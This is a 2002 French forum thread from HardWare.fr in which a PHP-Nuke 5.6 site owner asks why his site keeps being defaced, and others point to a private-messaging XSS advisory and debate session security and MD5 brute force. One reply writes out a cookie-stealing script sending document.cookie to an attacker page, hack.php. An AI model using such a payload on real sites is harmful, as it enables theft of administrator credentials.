Forum |  HardWare.fr | News | Articles | PC | S'identifier | S'inscrire | Shop Recherche
734 connectés 

  FORUM HardWare.fr
  Programmation
  PHP

  Mon site n'arrete pas de se faire hacker !!

 


 Mot :   Pseudo :  
 
 Page :   1  2
Page Précédente
Auteur Sujet :

Mon site n'arrete pas de se faire hacker !!

n°238497
jijiz
Posté le 02-11-2002 à 11:53:58  profilanswer
 

Il tourne sous nuke5.6 (je sais c pas top)
 
Ou est la faille, comment le sécuriser,
 
j'ai remarqué que le pirate s'attaquait juste au index.php ou index.htm; il est gentil ou il ne peux pas tout éffacer?
 
Merci bcp

mood
Publicité
Posté le 02-11-2002 à 11:53:58  profilanswer
 

n°238500
Olivier51
Posté le 02-11-2002 à 12:15:15  profilanswer
 

Le lien ... ça serait mieux si tu veux qu'on t'aide ...

n°238506
jijiz
Posté le 02-11-2002 à 12:32:40  profilanswer
 

Olivier51 a écrit a écrit :

Le lien ... ça serait mieux si tu veux qu'on t'aide ...



:lol:  :ouch: dcarena.free.fr j'avais oublié

n°238510
ethernal
Chercheur de vérité...
Posté le 02-11-2002 à 12:53:19  profilanswer
 

google : http://www.hideaway.net/home/publi [...] 5141113688
 

Citation :

XSS in PHPNuke Can Yield Admin Access    
Thursday, August 15 2002 @ 02:11 PM CDT
Contributed by: Admin
 
ServerSecurity
 
A cross-site scripting vulnerability in the popular PHPNuke web portal system can allow an attacker to gain administrative access to a web site. The problem lies in the Private Messaging module, which does no filtering of scripts in HTML code. An attacker only needs access to his own web space to upload exploit PHP files. He or she can then send a message to the site's administrator with an embedded script which calls the remote PHP, and transfers the admin's MD5 hashed password from the PHPNuke cookie. More details and a simple workaround are provided in Digital Delusion's advisory; PHPNuke 5.6 is affected but an official patch should be out soon.


 
genre il t'envoie un message privé avec
<script>
document.write('<img scr="http://monsite.com/hack.php?pwd='+document.cookie+'">';);
</script>
et il récupère le password admin ;)
 
détails sur le cross scripting : http://www.ifrance.com/kitetoua/tuto/css.txt
http://www.cgisecurity.net/articles/xss-faq.shtml
 
correctif : http://www.phpnuke.org/modules.php [...] e&sid=4603


Message édité par ethernal le 02-11-2002 à 13:15:54

---------------
...oups kernel error...
n°238511
ethernal
Chercheur de vérité...
Posté le 02-11-2002 à 12:59:24  profilanswer
 

le seul problème c'est que je vois pas ou t'envoyer des messages privés  :??:


---------------
...oups kernel error...
n°238525
omega2
Posté le 02-11-2002 à 13:30:37  profilanswer
 

Je pensais pas que c'était faisable ça.
Comme quoi, c'est dangeureux de permettre le stocjkage de message au format html et de stocker un mot de passe dans un cookie.

n°238534
Lomba
Posté le 02-11-2002 à 14:02:08  profilanswer
 

omega2 a écrit a écrit :

Je pensais pas que c'était faisable ça.
Comme quoi, c'est dangeureux de permettre le stocjkage de message au format html et de stocker un mot de passe dans un cookie.




Tout est dangereux si c'est codé avec les pieds. Et phpnuke est codé avec les pieds...
 
--  
lomba

n°238537
Mr_Peer
:)
Posté le 02-11-2002 à 14:13:20  profilanswer
 

omega2 a écrit a écrit :

Je pensais pas que c'était faisable ça.
Comme quoi, c'est dangeureux de permettre le stocjkage de message au format html et de stocker un mot de passe dans un cookie.




la solution a ce genre de problème est tout simplement de stocké le mot de passe crypté dans le cookie...


---------------
Parce que vous aussi vous le valez bien :)
n°238544
omega2
Posté le 02-11-2002 à 14:25:43  profilanswer
 

lomba a écrit a écrit :

 
Tout est dangereux si c'est codé avec les pieds. Et phpnuke est codé avec les pieds...
 
--  
lomba



Ca veut dire que je code pas avec les pieds alors. ;)
Enfin, j'espères ne pas coder avec les pieds. (je permets pas l'html  dans les messages et à aucun moment, je ne stockes les mots de passe ailleur que dans la table user et même là il est codé).
En plus, tant qu'on est pas identifié, toutes les pages d'administrations sont vérouillé.
Je penses que ca limite pas mal les risques tout ça. :)

n°238547
kadreg
profil: Utilisateur
Posté le 02-11-2002 à 14:28:38  profilanswer
 

Mr_Peer a écrit a écrit :

 
la solution a ce genre de problème est tout simplement de stocké le mot de passe crypté dans le cookie...




 
En fait non, parceque si tu rechoppe le mot de passe crypté, tu te crée directement le cookie dans le navigateur avec les bonnes informations à la main.


---------------
brisez les rêves des gens, il en restera toujours quelque chose...  -- laissez moi troller sur discu !
mood
Publicité
Posté le 02-11-2002 à 14:28:38  profilanswer
 

n°238548
omega2
Posté le 02-11-2002 à 14:28:44  profilanswer
 

Mr_Peer a écrit a écrit :

 
la solution a ce genre de problème est tout simplement de stocké le mot de passe crypté dans le cookie...



Même, s'il t'as le mot de passe cripté dans le cookie, il sufit de récupérer les valeurs contenu dans le cookie pour faire sauté l'intérêt du criptage. (soit tu l'utilise et à ce moment là, il a plus besoin de conaitre le vrai mot de passe, soit tu l'utilises pas et le fait de l'avoir sous forme codé dans le cookie donne une chance de pouvoir le décoder et c'est donc un risque de trous de sécurité)

n°238552
jijiz
Posté le 02-11-2002 à 14:44:48  profilanswer
 

Merci j'ai mis a jour phpnuke, on verra si ca le refait.
 
Merci encore

n°238563
Mr_Peer
:)
Posté le 02-11-2002 à 14:59:19  profilanswer
 

ah oué, chui bête... :sarcastic: (mais bon, le fait d'avoir que le mot de pass crypté, ça peut ralentir pas mal si il faut le pass pour valider certaines choses...)
ben euh, fo utiliser des cookies de session ou les sessions...


Message édité par Mr_Peer le 02-11-2002 à 14:59:43

---------------
Parce que vous aussi vous le valez bien :)
n°238564
omega2
Posté le 02-11-2002 à 15:04:29  profilanswer
 

Mr_Peer a écrit a écrit :

ah oué, chui bête... :sarcastic: (mais bon, le fait d'avoir que le mot de pass crypté, ça peut ralentir pas mal si il faut le pass pour valider certaines choses...)
ben euh, fo utiliser des cookies de session ou les sessions...



Ou ce faire son propre système de sessions.
Si c'est bien fait, il y a pas trop de risque. ;)

n°238565
ethernal
Chercheur de vérité...
Posté le 02-11-2002 à 15:05:34  profilanswer
 

Mr_Peer a écrit a écrit :

mais bon, le fait d'avoir que le mot de pass crypté, ça peut ralentir pas mal si il faut le pass pour valider certaines choses...




bha je pense pas tu sais.
trouver un décodeur de md5 (brute force) doit pas être très dur.
 
moi j'utilise les sessions + ip, histoire que même si tu récupères le num de sessions, tu ne saches rien en faire...
il n'y a que dans le cas d'une session illimitée que je ne prends pas en compte l'ip (les ips fixes sont rares...)
(cette version n'est pas encore online...)


Message édité par ethernal le 02-11-2002 à 15:07:06

---------------
...oups kernel error...
n°238567
Mr_Peer
:)
Posté le 02-11-2002 à 15:06:55  profilanswer
 

omega2 a écrit a écrit :

Ou ce faire son propre système de sessions.
Si c'est bien fait, il y a pas trop de risque. ;)




voui :)
le mieux c'est de tout faire soit même si on peut...
comme ça, on est sur de ce qu'on fait... et si on fait une connerie, ben on ne peut s'en prendre qu'à soit même
et on évite de se faire hacker pour des failles connues...


---------------
Parce que vous aussi vous le valez bien :)
n°238568
Mr_Peer
:)
Posté le 02-11-2002 à 15:08:54  profilanswer
 

ethernal a écrit a écrit :

 
bha je pense pas tu sais.
trouver un décodeur de md5 (brute force) doit pas être très dur.




j'ai jamais cherché...
 
mais moi aussi j'utilise session et ip...
en plus, c'est bien pratique quand les cookies sont refusés par le client...


---------------
Parce que vous aussi vous le valez bien :)
n°238570
ethernal
Chercheur de vérité...
Posté le 02-11-2002 à 15:17:51  profilanswer
 

Mr_Peer a écrit a écrit :

 
j'ai jamais cherché...
 
mais moi aussi j'utilise session et ip...
en plus, c'est bien pratique quand les cookies sont refusés par le client...




 
clair ça ! :)
sinon n'importe qui utilise la session d'un autre s'il fait un copier/coller :(


---------------
...oups kernel error...
n°238571
Mr_Peer
:)
Posté le 02-11-2002 à 15:20:45  profilanswer
 

ethernal a écrit a écrit :

 
clair ça ! :)
sinon n'importe qui utilise la session d'un autre s'il fait un copier/coller :(




il me semble que j'avais essayé une fois...
et le systeme de session php4 ne permet pas de récupérer la session d'un autre...
il faudrait que je réessaye pour voir...


---------------
Parce que vous aussi vous le valez bien :)
n°238577
haazheel
Posté le 02-11-2002 à 15:47:56  profilanswer
 

ben moi j'utilise les sessions de php4...
et ça marche super bien...


---------------
Another .Net Blog
n°238580
omega2
Posté le 02-11-2002 à 15:52:30  profilanswer
 

Mr_Peer a écrit a écrit :

 
j'ai jamais cherché...
 
mais moi aussi j'utilise session et ip...
en plus, c'est bien pratique quand les cookies sont refusés par le client...



moi aussi mon porpre système de session (numéro de session + IP).
Je comptes aussi y rajouter un code à n caractères aléatoires pour qu'il soit encore plus compliqué de réussir à piquer la session d'un autre.
pour info, een fait, j'ai deux système de session pour mon site, un pour le chat et un pour le reste.
Celui pour le chat est vailde 15 minutes renouvelable constamment (utile pour sortir de la liste présente ceux qui se sont barés sans se déconecter) et l'autre (pour le reste du site, vu que j'ai pas besoin de savoir qui y est en ligne) est limité à 8 heures sans possibilité de la renouveller.

n°238623
Badgone69
Je suis nul mais j&#039;aime ;-)
Posté le 02-11-2002 à 18:25:10  profilanswer
 

Mais ca veut dire qu'avec le Cross Site Scripting, on peut créer une page web et un internaute moyen qui tombe dessus peut se faire récupérer ses cookies aussi facilement ????
Dsl, je suis debutant.
Si oui, que faut il mettre sur la page ?
et comment s'en protéger (ne pas accepter les cookies ?)

n°238630
Mr_Peer
:)
Posté le 02-11-2002 à 18:40:38  profilanswer
 

Badgone69 a écrit a écrit :

Mais ca veut dire qu'avec le Cross Site Scripting, on peut créer une page web et un internaute moyen qui tombe dessus peut se faire récupérer ses cookies aussi facilement ????
Dsl, je suis debutant.
Si oui, que faut il mettre sur la page ?
et comment s'en protéger (ne pas accepter les cookies ?)




ben là, on parle d'un probleme qui arrive lorsque dans le site il y a un systeme de formulaire qui permet au visiteur d'intéragir avec le site...
si le html est accepté dans le formulaire laors tu peux t insérer n'importe quoi, comme par exemple un code javascript qui va rammasser un cookie...
si tu refuses le html dans le formulaire (et qu'à la place tu utilises les bbcodes) alors pas de problèmes de ce genre...


---------------
Parce que vous aussi vous le valez bien :)
n°238632
Badgone69
Je suis nul mais j&#039;aime ;-)
Posté le 02-11-2002 à 18:51:36  profilanswer
 

Ok mais si un formulaire accepte le html, si on marque qqch du comme cité plus haut (avec +document cookies), on recupere des cookies?
mais a qui?
à la ou les personnes qui liront le message (si c'est un forum) et qui executeront le script?

n°238634
Mr_Peer
:)
Posté le 02-11-2002 à 19:01:17  profilanswer
 

oui, le cookie de celui qui va executer le script en lisant le message...


---------------
Parce que vous aussi vous le valez bien :)
n°238637
Badgone69
Je suis nul mais j&#039;aime ;-)
Posté le 02-11-2002 à 19:07:34  profilanswer
 

mais alors donc, pas besoin d'un forum, juste une page sur un site internet suffirait ?
Encore faut il que la personne ose aller sur le site.

n°238640
Badgone69
Je suis nul mais j&#039;aime ;-)
Posté le 02-11-2002 à 19:22:28  profilanswer
 

Par contre, que contient le fichier hack.php?
 

Citation :


genre il t'envoie un message privé avec  
<script>  
document.write('<img scr="http://monsite.com/hack.php?pwd='+document.cookie+'">';);  
</script>  
et il récupère le password admin ;)  

n°238679
Badgone69
Je suis nul mais j&#039;aime ;-)
Posté le 02-11-2002 à 21:20:45  profilanswer
 

Hein?
on met quoi dans ce fichier hack.php ? :??:

n°238683
Cherrytree
cn=?
Posté le 02-11-2002 à 21:26:19  profilanswer
 

Un décodeur MD5 ??? C'est un algorithme de hash ! A mon humble avis, un tel décodeur n'existe pas.


---------------
Le site de ma maman
n°238690
Badgone69
Je suis nul mais j&#039;aime ;-)
Posté le 02-11-2002 à 21:37:53  profilanswer
 

et ... pour répondre à ma question  :D   :D  
Parce que je vais essayer de récupéré mes propres cookies lol

n°238718
*syl*
--&gt; []
Posté le 02-11-2002 à 23:17:19  profilanswer
 

Cherrytree a écrit a écrit :

Un décodeur MD5 ??? C'est un algorithme de hash ! A mon humble avis, un tel décodeur n'existe pas.



C'est vrai que le terme 'décodeur' était mal choisi mais il avait bien précisé bruteforce derrière donc no malaiz ;)

n°238719
*syl*
--&gt; []
Posté le 02-11-2002 à 23:18:21  profilanswer
 

Badgone69 a écrit a écrit :

et ... pour répondre à ma question  :D   :D  
Parce que je vais essayer de récupéré mes propres cookies lol



Réfléchis un peu, c'est vraiment basique à faire..

n°238743
ethernal
Chercheur de vérité...
Posté le 03-11-2002 à 01:07:33  profilanswer
 

Badgone69 a écrit a écrit :

Hein?
on met quoi dans ce fichier hack.php ? :??:  




bha simplement du code qui stocke le password reçu, ou qui l'envoie par mail à l'adresse de ton choix, enfin... tu vois quoi.


---------------
...oups kernel error...
n°239041
Cherrytree
cn=?
Posté le 04-11-2002 à 00:06:07  profilanswer
 

*syl* a écrit a écrit :

C'est vrai que le terme 'décodeur' était mal choisi mais il avait bien précisé bruteforce derrière donc no malaiz ;)



Ouais, no malaizzzz... [:rofl]


---------------
Le site de ma maman
n°239043
Kristoph
Posté le 04-11-2002 à 00:15:43  profilanswer
 

Pour le "decodeur" md5 brute force, c'est facile, on appelle ca un codeur md5 ;)
 
Il suffit juste de tester avec les mots d'un dictionaire et si le mot de passe est faible, hop !
 
Bien sur, avec un mot de passe fort, tu peux rendre visible comme t u veux le code md5 du mot de passe et tu sera quand même tranquille.
 
Sinon, utilisez mozilla/phoenix et cochés la case pour interdire au javascript de manipuler les cookies et comme ca vous être tranquilles. Normallement, un site ne doit pas pouvoir voir les cookies d'un autre site autrement.
 
PS: John the Ripper pour les intimes.


Message édité par Kristoph le 04-11-2002 à 00:16:18
n°239048
Mr_Peer
:)
Posté le 04-11-2002 à 00:32:11  profilanswer
 

Kristoph a écrit a écrit :

Normallement, un site ne doit pas pouvoir voir les cookies d'un autre site autrement.




effectivement, un site ne peut pas lire les cookies d'un autre site... mais là, le site où il y a le fichier hack.php n'a bas besoin de lire le cookie... on lui passe le contenu en argument...


---------------
Parce que vous aussi vous le valez bien :)
n°242958
berceker
BERCEKER UNITED
Posté le 11-11-2002 à 14:03:56  profilanswer
 

Pour info il a fallut 5 ans pour décodé une chaine MD5, avec plusieurs ordinateurs


Message édité par berceker le 11-11-2002 à 14:04:25

---------------
Si je suis près de toi c'est soit pour t'embrasser ou te croquer, alors à ce moment là rappelle toi de ce que tu m'as fait. du bien ou du mal?
n°243227
ethernal
Chercheur de vérité...
Posté le 11-11-2002 à 22:38:00  profilanswer
 

berceker a écrit a écrit :

Pour info il a fallut 5 ans pour décodé une chaine MD5, avec plusieurs ordinateurs




ouai attends... elle était longue ta chaine ???
pcq décoder une chaine de 5-6 caractères tu ne dois pas mettre  plus d'1 heure.
 
je me souviens qu'à l'école on avait trouvé des passwords win98 (en md5) sur des machines du réseau (des profs qui s'étaient connectés), on a pris l0phtcrak (ou un truc du style) et en moins de 2 heures on avait son password (5 caractères si je me souviens bien).  La machine était un Pentium 200...


---------------
...oups kernel error...
n°243236
asphro
Posté le 11-11-2002 à 22:47:28  profilanswer
 

le password etait le prenom du mec non ?


Message édité par asphro le 11-11-2002 à 22:47:48
n°243239
omega2
Posté le 11-11-2002 à 22:55:52  profilanswer
 

Ca doit dépendre du mot de passe aussi.
Certain programmes commence par vérifier les mots de passe aprmis un dictionnaire et cherche ensuite à la manière brute et dure (test de toutes les possibilité).
Si tu tombes dans le dico, tu peux dire bingo, sinon, t'en as pour perpète.

mood
Publicité
Posté le   profilanswer
 

 Page :   1  2
Page Précédente

Aller à :
Ajouter une réponse
  FORUM HardWare.fr
  Programmation
  PHP

  Mon site n'arrete pas de se faire hacker !!

 

Sujets relatifs
venez sur www.****le site opengl et directx,,,quel est le meilleur gestionnaire de site?
Le meilleur site de prog ...[EasyPHP] J'arrive pas à rendre mon site accessible sur le WEB !
qqn connait un bon site de reference ?Site pour débuter en PHP
Dev un forum pour un site.. comment fèr?[CSS] CSS unique et liaison depuis toutes les pages d'un site
Recherche codeur PHP pour le site d'une grande team RtCW (wolfenstein)Site internet en creation, demande d'aide merci..
Plus de sujets relatifs à : Mon site n'arrete pas de se faire hacker !!


Copyright © 1997-2022 Hardware.fr SARL (Signaler un contenu illicite / Données personnelles) / Groupe LDLC / Shop HFR